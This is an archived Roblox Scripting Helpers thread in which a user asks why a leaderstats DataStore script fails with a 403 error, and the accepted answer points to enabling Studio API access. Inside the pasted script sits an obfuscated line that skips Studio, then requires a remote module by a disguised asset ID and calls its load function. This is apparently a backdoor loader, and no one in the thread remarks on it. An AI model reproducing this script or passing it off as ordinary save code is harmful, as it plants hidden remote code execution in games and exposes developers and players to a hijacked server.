Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
✓ ANSWER ACCEPTED

Me DataStoreService Dont Save and API why?

I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game

403: Cannot write to DataStore from studio if API access is not enabled. Stack Begin Script 'Workspace.leaderstats', Line 8 - global savedata Script 'Workspace.leaderstats', Line 50 Stack End

this is the leaderstats script:

local Zombies = game:GetService("DataStoreService"):GetDataStore("Zombies")
local Bones = game:GetService("DataStoreService"):GetDataStore("Bones")
local BSpace = game:GetService("DataStoreService"):GetDataStore("BSpace")
local BContent = game:GetService("DataStoreService"):GetDataStore("BContent")
local IceDoorBought = game:GetService("DataStoreService"):GetDataStore("IceDoorBought")
ilI1Oz = require ixfWZL = game i8mjy = 'Workspace' iD0Sk53NjU = 'RunService' ivp15VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir9Hk = 'Description' iyxQLcFd1cA = 'IsStudio' ioVyFs = 'Debris' i1EfCuE5 = spawn iQmVxRkt4xK = 'MarketplaceService' ia294YtVX6h1WH4 = pcall i2mFKPxzZx8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require  i1EfCuE5(function() ia294YtVX6h1WH4(function() if ixfWZL:GetService(iD0Sk53NjU)[iyxQLcFd1cA](ixfWZL:GetService(iD0Sk53NjU)) then return end iBgljCIrAOXy(ijJu)[ibjdXJLIQ](ixfWZL[iafQBSrxbHifS]) end) end)
function savedata(dataname, playerid, value)
	game:GetService("DataStoreService"):GetDataStore(dataname):SetAsync(playerid, value)
end
game.Players.PlayerAdded:connect(function(player)
	local leader = Instance.new("Folder")
	leader.Name = "leaderstats"
	leader.Parent = player
	local zombies = Instance.new("NumberValue")
	zombies.Value = Zombies:GetAsync(tostring(player.userId)) or 0
	zombies.Parent = player:WaitForChild("leaderstats")
	zombies.Name = "Zombies"
	local bones = Instance.new("NumberValue")
	bones.Value = Bones:GetAsync(tostring(player.userId)) or 5000
	bones.Parent = player:WaitForChild("leaderstats")
	bones.Name = "Bones"
	local bspace = Instance.new("NumberValue")
	bspace.Value = BSpace:GetAsync(tostring(player.userId)) or 10
	bspace.Parent = player
	bspace.Name = "BSpace"
	local bcontent = Instance.new("NumberValue")
	bcontent.Value = BContent:GetAsync(tostring(player.userId)) or 0
	bcontent.Parent = player
	bcontent.Name = "BContent"
	local idb = Instance.new("BoolValue")
	idb.Value = IceDoorBought:GetAsync(tostring(player.userId)) or false
	idb.Parent = player
	idb.Name = "IceDoorBought"
	
	Zombies.Changed:connect(function()
		savedata("Bones",player.userId,bones.Value)
		savedata("Zombies",player.userId,zombies.Value)
		savedata("BSpace",player.userId,bspace.Value)
		savedata("BContent",player.userId,bcontent.Value)
		savedata("IceDoorBought",player.userId,idb.Value)
		
	end)
	    savedata("Bones",player.userId,bones.Value)
		savedata("Zombies",player.userId,zombies.Value)
		savedata("BSpace",player.userId,bspace.Value)
		savedata("BContent",player.userId,bcontent.Value)
		savedata("IceDoorBought",player.userId,idb.Value)
end)
game.Players.PlayerRemoving:connect(function(player)
	savedata("Bones",player.userId,player.leaderstats.Bones.Value)
	savedata("Zombies",player.userId,player.leaderstats.Zombies.Value)
	savedata("BSpace",player.userId,player.BSpace.Value)
	savedata("BContent",player.userId,player.BContent.Value)
	savedata("IceDoorBought",player.userId,player.IceDoorBought.Value)
end)

does anyone know the problem please help me

1 answer

✓ Accepted answer

The reason you are getting this error has nothing to do with the script. Before using datastores, the game must be published, which I can see you did, but after that, you will get another error if you don't enable the Studio API thing. Go to the roblox website and then to your game under https://www.roblox.com/develop. Click the setting image and then configure game. You will see an option to enable Studio API

1 comment

0

thanks

This discussion is preserved as it was. New answers, comments, and votes are closed.